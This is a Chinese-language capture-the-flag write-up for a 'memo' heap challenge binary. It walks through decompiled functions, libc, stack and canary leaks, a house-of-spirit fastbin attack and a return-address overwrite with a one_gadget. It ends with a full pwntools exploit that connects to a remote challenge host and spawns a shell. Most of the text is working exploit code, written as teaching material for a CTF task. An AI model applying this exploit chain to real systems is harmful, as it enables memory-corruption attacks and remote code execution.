保护措施
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
这样看来还是写mallo hook,free hook(结果有限制写不了的)
程序就4个功能,先看简单的两个
dump只是简单的输出,没有检测,输出为00截断,可以信息泄露
int __fastcall dump(__int64 a1)
{
return printf("Data: %s\n", a1);
}
’
del函数就是free,没有任何限制,只要绕过系统的检测就可以free
int __fastcall del(void *a1)
{
free(a1);
return puts("Done!");
}
alloc
我们输入data的时候可以二次输入,那么就可以堆溢出了,最后的那里相当于给了提示,不过暂时看来只能溢出top chunk
__int64 __fastcall alloc(__int64 a1)
{
char s1[8]; // [sp+10h] [bp-20h]@1
__int16 v3; // [sp+18h] [bp-18h]@1
__int64 v4; // [sp+28h] [bp-8h]@1
v4 = *MK_FP(__FS__, 40LL);
*(_QWORD *)s1 = 0LL;
v3 = 0;
fwrite("Data: ", 1uLL, 6uLL, stderr);
if ( read(0, (void *)a1, 0x30uLL) <= 0 )
{
puts("Read error!");
exit(1);
}
*(_QWORD *)(a1 + 24) = strdup((const char *)a1);
if ( !*(_QWORD *)(a1 + 24) )
{
puts("Malloc error!");
exit(1);
}
printf("Are you done? [yes/no] ", a1);
if ( read(0, s1, 6uLL) <= 0 )
{
printf("Read error!", s1);
exit(1);
}
if ( strcmp(s1, "yes") )
{
if ( strcmp(s1, "no") )
{
fwrite("Which part of [yes/no] did you not understand?", 1uLL, 0x2EuLL, stderr);
exit(0);
}
printf("Data: ", "no");
if ( read(0, *(void **)(a1 + 24), 0x30uLL) <= 0 )
{
puts("Read error!");
exit(1);
}
}
puts("Done!");
return *MK_FP(__FS__, 40LL) ^ v4;
}
最后说一个可以覆盖data指针的功能,就是give up
if ( v3 != 4 )
{
LABEL_20:
fwrite("Can't you read mate?", 1uLL, 0x14uLL, stderr);
exit(1);
}
fwrite("Giving up already? [yes/no] ", 1uLL, 0x1CuLL, stderr);
if ( read(0, &buf, 0x30uLL) <= 0 )
{
puts("Read error!");
exit(1);
}
if ( !strcmp(&buf, "yes") )
break;
if ( strcmp(&buf, "no") )
{
fwrite("Which part of [yes/no] did you not understand?", 1uLL, 0x2EuLL, stderr);
exit(0);
}
那有了这个我们就可以任意读和任意free了
先泄露libc地址
# info leak ———— leak read
read_got = elf.got["read"]
create("A" * 8)
payload = "no\x00\x00" + "A" * 0x14 + p64(read_got)
giveup(payload)
read_addr = show()
libc_base = read_addr - libc.symbols["read"]
在泄露栈地址
# info leak ———— leak stack
create("C" * 0x20)
# show
# 利用strdup也是00截断,可以连栈上的数据也复制到堆中了
p.recvuntil("> ")
p.sendline("2")
p.recvuntil("Data: ")
p.recvuntil("C" * 0x20)
recv = p.recvuntil("\n\n")[:-2]
leak_stack = u64(recv.ljust(8, "\x00"))
print "leak_stack = " + hex(leak_stack)
那么再泄露canary的值
canary_addr = buf_addr + 0x28 + 1
payload = "no\x00\x00" + "E" * 0x14 + p64(canary_addr)
giveup(payload)
# show
p.recvuntil("> ")
p.sendline("2")
p.recvuntil("Data: ")
canary = u64(p.recv(7).ljust(8, "\x00"))
print "canary = " + hex(canary)
使用house of spirit技术,让buf+0x10的地址写到fastbin头指针
# house of spirit
# because strdup can't use 00
fake_free_addr = buf_addr + 0x10
fakechunk = "no" + "\x00" * 6 + p64(0x21)
fakechunk += p64(0) + p64(fake_free_addr)
fakechunk += p64(0) + p64(111)
giveup(fakechunk)
free()
覆盖返回地址并返回
# overwrite return address
overwrite = p64(0) * 3 + "\x00" + p64(canary)[:-1] + p64(0) + p64(one_gadget)
createAndOverWrite(overwrite)
giveupyes()
完整exp
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Date : 2017-12-26 20:33:26
# @Author : giantbranch (giantbranch@gmail.com)
# @Link : http://www.giantbranch.cn/
# @tags :
from pwn import *
context.log_level = "debug"
REMOTE = 1
if REMOTE:
p = remote("159.203.116.12", 8888)
libc = ELF("./libc-2.23.so")
one_gadget_off = 0x45216
else:
p = process("./memo")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
one_gadget_off = 0x3f306
elf = ELF("./memo")
def create(data):
p.recvuntil("> ")
p.sendline("1")
p.recvuntil("Data: ")
p.send(data)
p.recvuntil("Are you done? [yes/no] ")
p.send("yes")
def createAndOverWrite(payload):
p.recvuntil("> ")
p.sendline("1")
p.recvuntil("Data: ")
p.send("A" * 8)
p.recvuntil("Are you done? [yes/no] ")
# raw_input()
p.send("no\x00")
p.recvuntil("Data: ")
p.send(payload)
def show():
p.recvuntil("> ")
p.sendline("2")
p.recvuntil("Data: ")
recv = p.recvuntil("\n")[:-1]
return u64(recv.ljust(8, "\x00"))
def free():
p.recvuntil("> ")
p.sendline("3")
def giveup(payload):
p.recvuntil("> ")
p.sendline("4")
p.recvuntil("Giving up already? [yes/no] ")
p.send(payload)
def giveupyes():
p.recvuntil("> ")
p.sendline("4")
p.recvuntil("Giving up already? [yes/no] ")
p.send("yes\x00")
def getpid():
print proc.pidof(p)[0]
raw_input()
# info leak ———— leak read
read_got = elf.got["read"]
create("A" * 8)
payload = "no\x00\x00" + "B" * 0x14 + p64(read_got)
giveup(payload)
read_addr = show()
print "read_addr = " + hex(read_addr)
libc_base = read_addr - libc.symbols["read"]
print "libc_base = " + hex(libc_base)
one_gadget = libc_base + one_gadget_off
print "one_gadget = " + hex(one_gadget)
malloc_hook = libc_base + libc.symbols["__malloc_hook"]
# info leak ———— leak stack
create("C" * 0x20)
# show
# 利用strdup也是00截断,可以连栈上的数据也复制到堆中了
p.recvuntil("> ")
p.sendline("2")
p.recvuntil("Data: ")
p.recvuntil("C" * 0x20)
recv = p.recvuntil("\n\n")[:-2]
leak_stack = u64(recv.ljust(8, "\x00"))
print "leak_stack = " + hex(leak_stack)
buf_off = 0x110
buf_addr = leak_stack - buf_off
print "buf_addr = " + hex(buf_addr)
# # 经过调试发现这里其实可以可以leak heap,假如堆地址没有0x00的话。但是后来发现,题目输入的大小并不能绕过fastbin atack的大小检查,要输入0x60大小才行
# create("D" * 8)
# p.recvuntil("> ")
# p.sendline("2")
# p.recvuntil("Data: ")
# p.recvuntil("C" * 0x10)
# recv = p.recvuntil("\n")[:-1]
# leak_heap = u64(recv.ljust(8, "\x00"))
# print "leak_heap = " + hex(leak_heap)
# then try to write return addr
# first leak canary(the high )
canary_addr = buf_addr + 0x28 + 1
payload = "no\x00\x00" + "E" * 0x14 + p64(canary_addr)
giveup(payload)
# show
p.recvuntil("> ")
p.sendline("2")
p.recvuntil("Data: ")
canary = u64(p.recv(7).ljust(8, "\x00"))
print "canary = " + hex(canary)
# house of spirit
# because strdup can't use 00
fake_free_addr = buf_addr + 0x10
fakechunk = "no" + "\x00" * 6 + p64(0x21)
fakechunk += p64(0) + p64(fake_free_addr)
fakechunk += p64(0) + p64(111)
giveup(fakechunk)
free()
# overwrite return address
overwrite = p64(0) * 3 + "\x00" + p64(canary)[:-1] + p64(0) + p64(one_gadget)
createAndOverWrite(overwrite)
# getpid()
# get shell
giveupyes()
# giveupyes()
p.interactive()